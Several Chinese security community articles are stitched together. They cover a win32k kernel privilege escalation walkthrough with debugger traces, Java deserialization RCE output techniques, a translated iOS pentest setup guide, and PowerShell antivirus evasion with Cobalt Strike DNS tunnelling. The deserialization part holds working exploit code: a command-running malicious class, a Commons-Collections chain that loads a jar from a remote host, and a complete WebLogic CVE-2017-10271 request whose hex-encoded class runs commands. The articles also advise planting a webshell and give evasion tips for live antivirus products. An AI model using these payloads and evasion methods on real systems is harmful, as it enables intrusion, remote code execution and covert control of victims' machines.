if ( IsWindowBeingDestroyed(v7) )
return;
这个地方会对窗口的属性进行检查，也就是说，v7不能是一个任意值，比如是我们直接通过零页分配的shellcode的某个地址指针，如果可以的话，后面就会导致其他的利用了，因此这个值必须是一个窗口的值，因此我们用一种方法：
就是创建窗口A和窗口B，在这里通过异步调用，返回窗口B的值，这样后续处理中，就会将窗口B的tagMenu偏移+0B0h位置的值，也就是tagPopupMenu交给v9，那么随后在最后一个SendMessage中销毁窗口B，通过一些方法将销毁后的位置占位，因为后面没有进行判断，从而可以调用占位后的值。而通过分析xxxMNHideNextHierarchy，内层函数用的是tagPopupMenu->spwndNextPopup，因此，只要在占位时再控制这个值，为一个我们可控的值，最后就能在xxxMNHideNextHierarchy里的sendmessage完成最后一步提权了。
有了这个思路，我们开始利用钩子来完成这个过程。第一步，在FindWindowFromMessage函数调用中，处理1EB消息，这个和CVE-2014-4113很像。
90669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e)
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000 test dword ptr [edi+4],8000h
kd> r eax
eax=fea396d0
第一步钩子会返回窗口B的值，这样，也能绕过IsDestroy的判断，随后进入第二步处理，第二步处理的值，是1E5的消息，这个消息返回后会将返回值和0x10做一个判断。
xor edi, edi
push edi ; Address
push dword ptr [ebp+UnicodeString] ; UnicodeString
push 1E5h ; MbString
push esi ; P
call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
; 67: if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
test al, 10h
jz short loc_BF939583
这样我们控制钩子令返回值为0x10就可以了。
kd> p
win32k!xxxMNMouseMove+0x134:
90669523 e87500f8ff call win32k!xxxSendMessage (905e959d)
kd> g
Breakpoint 16 hit
win32k!xxxMNMouseMove+0x139:
90669528 a810 test al,10h
kd> r eax
eax=00000010
kd> p
win32k!xxxMNMouseMove+0x13b:
9066952a 7457 je win32k!xxxMNMouseMove+0x194 (90669583)
第三步处理1F0的消息，这一步很关键，会调用SendMessage，在这一步的钩子中对窗口B进行销毁，销毁后占位，由于这一步是在一个if语句里，因此需要返回值为0，才能通过非的判断。
.text:BF939530 push edi ; Address
.text:BF939531 push edi ; UnicodeString
.text:BF939532 push 1F0h ; MbString
.text:BF939537 push esi ; P
.text:BF939538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93953D test eax, eax
.text:BF93953F jnz short loc_BF939583
.text:BF939541 ; 68: xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置
这样的话，我们销毁窗口，并且进行占位
kd> p
Breakpoint 17 hit
win32k!xxxMNMouseMove+0x14e:
9066953d 85c0 test eax,eax
kd> p
win32k!xxxMNMouseMove+0x150:
9066953f 7542 jne win32k!xxxMNMouseMove+0x194 (90669583)
kd> r eax
eax=00000000
kd> p
win32k!xxxMNMouseMove+0x152:
90669541 53 push ebx
最后占位后就是处理后的ebx了，这时候我们对ebx后的值也很有讲究，ebx+0Ch的值就是我们最后要调用到的值，这个值刚开始我想是直接按照CVE-2014-4113中的值一样定义成0xfffffffb，但是后来发现，在HideNextHierarchy函数中会将这个值自加进行一个赋值。
kd> p
win32k!xxxMNHideNextHierarchy+0x2c:
90648efa ff4004 inc dword ptr [eax+4]
kd> dd eax
ffffffff ???????? fe7d2179 00000000 00000000
因此，如果eax的值是0xfffffffb的话，加4之后就是0xffffffff，仍然是个无效地址，这个无效地址自加会导致系统异常，因此，我把eax的值设为0xffffffff，这样同样需要重新分配0页内存。
kd> p
win32k!xxxMNHideNextHierarchy+0x9:
90648ed7 8b7508 mov esi,dword ptr [ebp+8]
kd> p
win32k!xxxMNHideNextHierarchy+0xc:
90648eda 8b460c mov eax,dword ptr [esi+0Ch]
kd> p
win32k!xxxMNHideNextHierarchy+0xf:
90648edd 85c0 test eax,eax
kd> r eax
eax=ffffffff
这样就绕过了最后一层判断，最后到达1E4的消息调用，这个地方传递的值就已经是0xffffffff了。
kd> p
win32k!xxxMNHideNextHierarchy+0x37:
90648f05 6a00 push 0
kd> p
win32k!xxxMNHideNextHierarchy+0x39:
90648f07 6a00 push 0
kd> p
win32k!xxxMNHideNextHierarchy+0x3b:
90648f09 68e4010000 push 1E4h
kd> p
win32k!xxxMNHideNextHierarchy+0x40:
90648f0e 50 push eax
kd> r @eax=ffffffff
kd> p
win32k!xxxMNHideNextHierarchy+0x41:
90648f0f e88906faff call win32k!xxxSendMessage (905e959d)
kd> dd esp
92dd3a3c ffffffff 000001e4 00000000 00000000
接下来向内层继续传递，和CVE-2014-4113的利用过程就基本一致了。
kd> p
win32k!xxxSendMessage+0x23:
905e95c0 e882fdffff call win32k!xxxSendMessageTimeout (905e9347)
kd> dd esp
92dd3a14 ffffffff 000001e4 00000000 00000000
最后，执行到shellcode
kd> p
win32k!xxxSendMessageTimeout+0x1a9:
905e94f0 ff5660 call dword ptr [esi+60h]
kd> r esi
esi=ffffffff
kd> dd esi+60
0000005f 00371410 00000000 00000000 00000000
kd> p
Breakpoint 6 hit
00371410 55 push ebp
下一个写入断点
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 841bdab0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01be8 HandleCount: 490.
Image: System
PROCESS 845da8a8 SessionId: 1 Cid: 0ddc Peb: 7ffdf000 ParentCid: 0cf8
DirBase: 3f321500 ObjectTable: 95b440f0 HandleCount: 28.
Image: EoP_1.exe
kd> dd 845da8a8+f8
845da9a0 86094613 000078da 00000000 00000000原进程token
shellcode进行替换
kd> dd 845da8a8+f8 //提权Token
845da9a0 87c01337 000078da 00000000 00000000
kd> dd 841bdab0+f8 //系统Token
841bdba8 87c01337 00000000 00000000 00000000
现在是system的token了，最后放一个提权后的截图
### 后记
这个漏洞总体来说可以算是CVE-2014-4113的进阶，和内核较劲的过程非常有意思，一步步的思考和绕过，让我想起以前膜拜大牛们过狗的案例中一步步bypass的过程，实际上二进制也是一样。
那么这篇文章也写到这里，希望大牛们多多批评指正，也希望大家也都能有所收获，谢谢！
* * * | 社区文章 |
总结一下常见反序列化RCE回显几种方式如下：
1. a).使用java.net.URLClassLoader类，远程加载自定义类(放在自己服务器上的jar包)，可以自定义方法执行。
b).在自定义类中，抛出异常，取得回显结果。
eg:Jboss报错返回命令执行结果。
2. 利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。
3. 通过RMI远程调用扩展实现回显。
4. 直接利用RCE将执行的命令写入服务器文件中，再次访问得到执行命令结果。
### 1、URLClassLoader加载远程恶意类，抛出异常回显
恶意类如下:
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;
public class R
{
public R(String commond) throws Exception {
reverseConn(commond);
}
public void reverseConn(String commond) throws Exception {
//执行命令
Process proc = Runtime.getRuntime().exec(commond);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}
将恶意类打成jar包，把jar包放在服务器上。
javac R.java //先编译成class文件
jar -cvf R.jar R.class //打成jar包
采用Commons-Collections5 gadgets触发反序列化报错回显，运行如下代码：
package test;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class Test{
public InvocationHandler getObject(final String command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://vpsip/R.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { command } }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);
//generate object which implements specifiy interface
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
.getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = Test.class.newInstance()
.getObject("ipconfig");
//deserialize(serialize(objBefore));
File f = new File("E:\\payloadsfinal.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
FileInputStream fis = new FileInputStream("E:\\payloadsfinal.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
ois.readObject();
ois.close();
}
}
命令回显效果如下，jboss命令回显就是这个原理：
如果服务器不能连接外网，可以通过FileOutputStream写恶意类的class字节码文件到服务器上，再通过URLClassLoader加载本地的恶意类，通过异常封装进行回显。详细细节参考[这篇文章](https://www.freebuf.com/sectool/88908.html)
### 2、 defineClass加载byte[]返回Class对象，利用容器内部response回显
研究weblogicCVE-2017-10271回显时，从[这里](https://github.com/SuperHacker-liuan/cve-2017-10271-poc/blob/master/src/constant.rs)找到回显的poc，接下来看看这个POC如何构造的
详细POC如下：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 5126
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.supeream.exploits.XmlExp</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="proc">
<string>dir</string>
</void>
</void>
</void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
defineClass去加载com.supeream.exploits.XmlExp恶意类，恶意类代码已经Hex编码了。还原一下XmlExp代码,先对恶意类代码解码->bytes[]->写入1.class.再用idea/jd-gui反编译。
package weblogic;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.jdbc.wrapper.Array;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;
import static weblogic.utils.Hex.hexValueOf;
public class hh {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, IOException {
System.out.println("hahah");
byte[] bt = fromHexString2("0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034");
File file = new File("1.class");
FileOutputStream fos = new FileOutputStream(file);
fos.write(bt);
fos.close();
// System.out.println(Arrays.toString(bt)); byte
// DefiningClassLoader cls = new DefiningClassLoader();
// Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt);
// System.out.println(cl);
// System.out.println(cl.getMethods());//
// Method m = cl.getMethod("say",String.class);
// Object dir = m.invoke(cl.newInstance(), "calc");
}
public static byte[] fromHexString1(byte[] barray, int len) {
int i = 0;
if (barray[0] == 48 && (barray[1] == 120 || barray[1] == 88)) {
i += 2;
len -= 2;
}
int outlen = len / 2;
byte[] out = new byte[outlen];
for(int j = 0; j < outlen; ++j) {
out[j] = (byte)(hexValueOf(barray[i++]) << 4 | hexValueOf(barray[i++]));
}
return out;
}
public static byte[] fromHexString2(String hexString) {
byte[] bytes;
try {
bytes = hexString.getBytes("US-ASCII");
} catch (UnsupportedEncodingException var4) {
bytes = new byte[hexString.length()];
for(int i = 0; i < bytes.length; ++i) {
bytes[i] = (byte)hexString.charAt(i);
}
}
System.out.println(bytes);
return fromHexString1(bytes, bytes.length);
}
}
拿到XmlExp类代码如下：
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.supeream.exploits;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
public class XmlExp {
public XmlExp() {
}
public InputStream say(String cmd) throws Exception {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List<String> cmds = new ArrayList();
if (cmd.startsWith("$NO$")) {
cmds.add(cmd.substring(4));
} else if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
return proc.getInputStream();
}
}
开始以为回显的原因是报错回显的，实际上不是，而是用到weblogic内部回显类进行回显，这也算是个骚思路了，这点是get到了。
分析下POC构造过程：
>
> 传入恶意类hex编码id设置为cls交给weblogic.utils.Hex.fromHexString类转换为byte[]----->org.mozilla.classfile.DefiningClassLoader类的defineClass方法传入com.supeream.exploits.XmlExp恶意类，通过newInstance方法实例化恶意类并调用say方法，传入dir命令id设置为proc交给weblogic内部回显类回显。实际对应代码如下操作。
DefiningClassLoader cls = new DefiningClassLoader();
Class cl =cls.defineClass("com.supeream.exploits.XmlExp",bt);
Method m = cl.getMethod("say",String.class);
Object dir = m.invoke(cl.newInstance(), "calc");
最后将回显结果交给weblogic容器的response回显，这块poc构造可以跟踪下正常处理回显是什么样的来构造。
在com.sun.beans.ObjectHandler下断，idref这里跟进lookup
idref对应id是proc
加载恶意方法的地方，执行了dir命令，剩下就是拼接返回包，这里就不跟了
最后实现效果如下：
### 3、通过RMI远程调用扩展实现回显
有师傅已经写好文章了，我就不在这班门弄斧了。详细细节见[这里](https://www.freebuf.com/vuls/90802.html)
### 4、执行的命令写入可访问的服务器文件
这里就看一下weblogic CVE-2017-10271 ,实际已经可以向服务器写文件，干脆直接写个执行命令webshell更方便。
通过webshell执行命令
还有什么好的回显思路，欢迎各位师傅补充。 | 社区文章 |
# 【译】iOS应用安全-1-搭建测试环境
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://resources.infosecinstitute.com/ios-application-security-part-1-setting-up-a-mobile-pentesting-platform/>
译文仅供参考，具体内容表达以及含义原文为准。
**介绍**
本系列是关于iOS应用安全的入门教程,间接会学到进行iOS应用安全测试会使用到的工具和测试方法。
**
**
**越狱iOS设备**
译者注:一台越狱的iOS设备是进行iOS应用安全测试所必不可少的,原文此处详细介绍了越狱的方法,但鉴于此部分内容相对成就,可参考价值不大,顾在此不做翻译,感兴趣的读者可以前往源网站阅读。
**设备准备**
现在你已经成功将你的设备越狱,下一步就是安装一下linux命令行工具,如wget,ps,apt-get
以及其他用于iOS应用审计的程序。然而,首要的是安装OpenSSH,以允许我们登陆到我们的设备,以便执行其他操作,见后文。
进入Cydia,搜索OpenSSH
点击OpenSSH,选择“安装”,选择“确认”
OpenSSH就安装完成啦
在登陆之前,先安装点其他工具。BigBoss Recommended tools 包含很多有名的工具,在Cydia中搜索并安装
其他需要安装的工具包括:APT 0.6 Transitional, Git, GNU Debugger, less, make, unzip, wget
and SQLite 3.x
还需要安装的就是MobileTerminal ,可以让我们直接在设备中使用命令,而不是远程登陆到设备。
安装后,会看到多出一个图标Terminal
点击图标,可点击屏幕软键盘输入命令。
接下来登陆的设备上,首先确实你的电脑跟你的设备在同一网络中,并查看你设备的ip地址。
如上图的ip地址是192.168.2.3.使用root用户登录,默认密码是alpine,如下图。不过建议你登陆后立即修改密码,因为有的恶意软件会使用默认的密码来登陆你的设备窃取信息。修改密码使用passwd命令,然后输入两次新密码。
注:运行需要root权限的命令之前,请确认Cydia处于后台,这是因为Cydia以root运行,其他进程就无法获得以由cydia获得的锁。
之后,运行apt-get update 更新软件列表
最好也运行下apt-get upgrade,这会更新所有已经安装的软件包
下一步需要安装class-dump-z,用了dump
app的类信息,前往官方网站([https://code.google.com/p/networkpx/wiki/class_dump_z)下载,本文写作时的最新版本是0.2a](https://code.google.com/p/networkpx/wiki/class_dump_z\)%E4%B8%8B%E8%BD%BD,%E6%9C%AC%E6%96%87%E5%86%99%E4%BD%9C%E6%97%B6%E7%9A%84%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC%E6%98%AF0.2a)
登陆设备,使用wget下载
或者在电脑上下好,使用sftp上传到设备上,然后使用tar解包
然后,进入iphone_armv6 目录将class-dump-z 可执行文件复制到/usr/bin 目录,这样就可以在任何位置使用class-dump-z了。键入class-dump-z,如果得到类似下图的输出,就证明你的class-dump-z安装成功了。
**深入阅读**
关于iOS应用安全的资源较少,以下是一些不错的:
•SecurityTube has a very detailed course on IOS security.
•Security Learn has some very good articles on penetration testing of IOS
Applications.
•Hacking and Securing IOS applications is probably the best book i have read
that deals with attacking IOS applications
•Lookout’s blog is also another valuable resource in learning about the latest
techniques and exploits in the mobile world.
**总结**
本文我们介绍了如何在一台越狱iOS设备上搭建应用安全审计环境,下一篇我们将会介绍如何用class-dump-z分析应用。 | 社区文章 |
# 关于Powershell免杀的探索
文章涉及的技术并不深，只是本人在学习powerhshell免杀过程中的记录，文章的内容将涉及到`powershell无文件落地上线cs、目标不出网解决办法、bypass最新360
火绒技巧以及对powershell脚本和命令混淆过程及其调用方式的绕过。`不会再复述powershell的基础知识，过程中需要理解的部分，我会尽可能言简意赅，本文主要思路来源于[Chabug](https://www.chabug.org/web/1324.html)论坛
由于是每晚下班写一部分 时间线会有出入还请多多包涵 有朋友问我 为什么不在本地内网搭建实验 因为免杀这东西放出来就基本凉了
无论是公网还是内网(`其实做到了一半 懒得换了 反正免杀都是见光死`)
当然还是建议大家自己实验的时候用 内网搭建虚拟机环境断网后再操作 接着重置虚拟机
#### 为什么会选择 **Powershell**
* 灵活性高：具有在硬盘中易绕过，内存中难查杀的特点 能够在内存中运行代码，而不需要写入磁盘文件`(无文件攻击)`
* 多功能性：可以对操作系统主要功能进行访问 能够直接调用.Net 和 Windows API
* 普适性强：PowerShell默认安装在Windows机器上(`PC:win7及以上 Ser:2008及以上默认安装`)
* 易用性好：PowerShell代码易于动态生成；同时，可以很容易地嵌入恶意软件向量中，例如Office文档（通过使用宏）
* 隐秘性强：易于混淆、可绕过应用程序白名单、管理员信任、内存加载、缺乏日志记录PowerShell日志默认不能使用
#### 什么情况下会使用到
* 挖洞 在拿到shell后提高危害(小小的横向扩展)就是现金奖励(`需注意有一定风险`)
* 远控 内网渗透中方便横向移动及持久性控制
* 钓鱼 对同学恶作剧的时候隐蔽性强
* `需要用到的时候(书到用时方恨少！Ps:实习中的切身感受)`
* * *
Ps:系统环境信息 cs3.14 （3.14与3.13中的payload不同）阿里云VPS win10
火绒最新版（主要演示内存加载 bypass杀软实验在后面）
### 无文件攻击
无文件攻击会综合使用系统的白名单功能，powershell属于系统工具，在杀软的白名单中，要查杀只能检测其执行的脚本代码，但因为powershell支持各种混淆、变形、加密、恶意文件放在远程服务器上，通过下载到内存中执行等方式来执行，所以对其进行检测也极为困难`Ps：(优:利用文件不落地
内存中难查杀的特点 缺:有明显IP及端口连接信息)`
文章开头就提过 这里脚本来源于[s1ye师傅](https://www.chabug.org/web/1324.html)师傅的 这里就不再班门弄斧了
大概介绍下采用的是loader + bin文件的形式,首先 生成异或混淆后的bin文件
对加载器稍作修改 `把bin文件放在里面 加载PS的同时加载bin 接着把ps脚本及bin文件放在cs上`
明显可以看到 流程为 `远程加载ps脚本 》 远程加载bin 》 上线` (powershell 命令后面有讲)
### 目标不出网(DNS隧道)
DNS隧道技术是指将数据封装在DNS协议中，实现隐蔽数据传输，大部分防火墙和入侵检测设备很少会过滤DNS流量，僵尸网络和入侵攻击可几乎无限制地加以利用，实现诸如从持久性远控、文件传输等操作；DNS隧道木马难以得到有效的监控.一方面是因为DNS报文具有天然的穿透防火墙的能力；另一方面,
目前的杀毒软件、IDS等安全策略很少对DNS报文进行有效的监控管理导致在目标机器上几乎是感觉不到的`Ps:(优:隐蔽性极强 能解析域名就能上线
缺:默认UDP协议传输数据较慢 不适合文件传输或者抓密码类似的大操作)`
参考[klionsec师傅](https://klionsec.github.io/2017/12/28/cobalt-strike-dns/)
首先,你要创建一条A记录，A记录务必要指向我们自己团队服务器的ip，而后再创建几条ns记录,此处创建了两个ns记录，然后再把所有ns记录的A记录指向刚刚创建的A记录，让解析可以准确的找到我们的团队服务器位置
kali中用dig +trace
域名先来简单跟踪下域名解析过程，看看我们的ns最后是不是被解析到了之前指定的A记录上，如果解析不到，也就意味着你的payload回连时很可能就定位不到团队服务器，后果就是无法正常上线，`此处务必成功，再往后继续，否则都是徒劳`
配置CS服务器
payload要选择`beacon_dns_txt`，host要用A记录的域名，最好用一些穿透性比较强的端口(`没有占用情况下优先选择：80、443、8080等因为其他端口可能作了限制`)，接着把我们之前创建的那两个NS域名全部加进去,用逗号隔开即可(我这里的CS破解不完全，导致只能创建一个监听器所以只有DNS监听`这里为了演示DNS隧道所以直接生成的exe，实战的时候生成bin文件选择DNS方式通信`)
上线后会先是个黑乎乎的机器，`默认初始回连时间为(一分钟)，DNS-txt是为了每次回传数据量大一点` 仔细可以发现DNS上线没有公网IP 执行mode-http(切为http传输)后即可看到目标公网IP
建议参考[S1ye师傅](https://www.chabug.org/web/1324.html)的不落地上线方式
`该方式避免了dns不出网时还需要上传文件`
### bypass 实验
在线: virustotal（静态查杀）
本机: 360杀毒最新版本 360安全卫士最新版本 火绒最新版本
`目前测试已知可过(卡巴斯基、趋势、windows defender)`
